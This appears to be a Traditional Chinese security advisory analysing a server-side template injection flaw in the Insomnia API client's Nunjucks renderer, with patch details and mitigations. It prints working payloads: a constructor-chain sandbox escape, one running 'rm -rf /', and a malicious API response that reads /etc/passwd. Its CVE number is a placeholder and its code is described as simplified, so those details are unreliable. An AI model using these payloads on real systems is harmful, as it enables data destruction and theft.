1. 簡介

Insomnia API Client(版本 v2023.5.8)是一款廣受歡迎的開源 API 開發與測試工具。其回應 Rendering engine 中發現了一個嚴重的伺服器端模板注入(Server-Side Template Injection, SSTI)漏洞(CVE-2025-XXXXX),可導致遠端程式碼執行(RCE)。本報告詳細分析了該漏洞的運作機制、根本原因及攻擊方式,特別聚焦於未受保護的 Nunjucks 模板引擎整合。

揭秘Insomnia API Client的SSTI漏洞:RCE威脅全解析 | 資訊安全新聞

2. 漏洞概述

受影響組件 :回應檢視器(負責 HTTP Response 可視化)。

根本原因 :未經清理的使用者控制資料傳遞至 Nunjucks 的 render() 函數。

影響 :透過 Node.js child_process 模組存取,在客戶端系統上執行任意 JavaScript。

攻擊途徑 :包含嵌入式 Nunjucks 指令的惡意 API 回應。

3. 技術深入分析

3.1. 模板注入機制

當 Insomnia 處理包含 HTML/XML 的 API 回應時,會觸發此漏洞。回應檢視器(Response viewer)使用 JavaScript 模板引擎 Nunjucks 動態繪製內容。來自 API 回應的使用者提供資料未經環境感知清理(Context-aware sanitization),直接插入至 Nunjucks 模板中。

程式碼流程分析

  1. // 簡化的漏洞程式碼(Insomnia 的繪制器)
  2. const template = `{% extends "base.html" %}{% block content %}${userData}{% endblock %}`;
  3. const rendered = nunjucks.renderString(template, env);

此處, userData 是未經的回應內容。

Nunjucks 沙箱繞過

Nunjucks 預設沙箱缺乏內在安全性。攻擊者可注入如 {{ 7*7 }} 的指令以確認 SSTI。概念驗證(PoC)利用 constructor 屬性存取 Node.js 全域物件:

{{ "".constructor.constructor("return process")() }}

這會回傳 Node.js 的 process 物件,確認 RCE 能力。

RCE Payload 執行

攻擊者串聯 Nunjucks 指令以生成系統 Shell:

{% set proc = "".constructor.constructor("return process")() %}
{{ proc.mainModule.require("child_process").exec("rm -rf /") }}

child_process 模組允許執行任意命令。

3.2. 關鍵程式碼片段

漏洞源自 insomnia-app/app/ui/components/templating/index.js

// 有漏洞的 Nunjucks 繪制函數
function renderResponse(content, environment) {
   const env = nunjucks.configure({ autoescape: false }); // 禁用轉義
   return env.renderString(content, environment); // 不安全的內容注入
}

主要問題:

  • autoescape: false 禁用 HTML 編碼。
  • 在繪制前未對 content 進行驗證。

4. 攻擊場景

4.1. 攻擊流程

  1. 攻擊者託管一個回傳惡意 JSON Payload 的 API:
    {
        "data": "{{ \"\".constructor.constructor(\"return process.mainModule.require('child_process').execSync('cat /etc/passwd')\")() }}"
    }
  2. 受害者透過 Insomnia 查詢該 API。
  3. Insomnia 渲染回應,在受害者機器上執行 cat /etc/passwd

4.2. 影響放大

  • 跨平台影響 :命令透過 Node.js 原生執行(Windows/macOS/Linux)。
  • 持續性風險 :攻擊者可部署 反向 Shell 或鍵盤記錄器。

5. 修補分析

修補程式(已於 Insomnia v2023.6.0 合併)包含:

  1. 環境輸出編碼
    nunjucks.configure({ autoescape: true }); // 啟用自動轉義
  2. 內容清理 :使用者資料在模板插入前進行 HTML 編碼。
  3. 沙箱強化 :透過自訂 Nunjucks 環境限制對 Node.js 內建功能的存取。

6. 安全建議

  1. 輸入驗證 :使用如 DOMPurify 的函式庫清理所有動態內容。
  2. 最小權限原則 :在受限使用者環境中運行 Insomnia。
  3. 模板引擎最佳實務
    • 避免對不受信任的輸入使用 renderString()
    • 使用類似 Jinja2 的沙箱,並明確設定白名單。

7. 結論

此 SSTI 漏洞突顯了模板引擎設定不當的風險。Insomnia 回應檢視器缺乏輸入清理與沙箱保護,使 RCE 變得輕而易舉。開發者必須優先考慮環境感知編碼並隔離第三方繪制引擎。CVE-2025-XXXXX 提醒我們,即使是開發工具在處理外部資料時也可能成為攻擊途徑。

Copyright © 2025 版權所有 翊天科技有限公司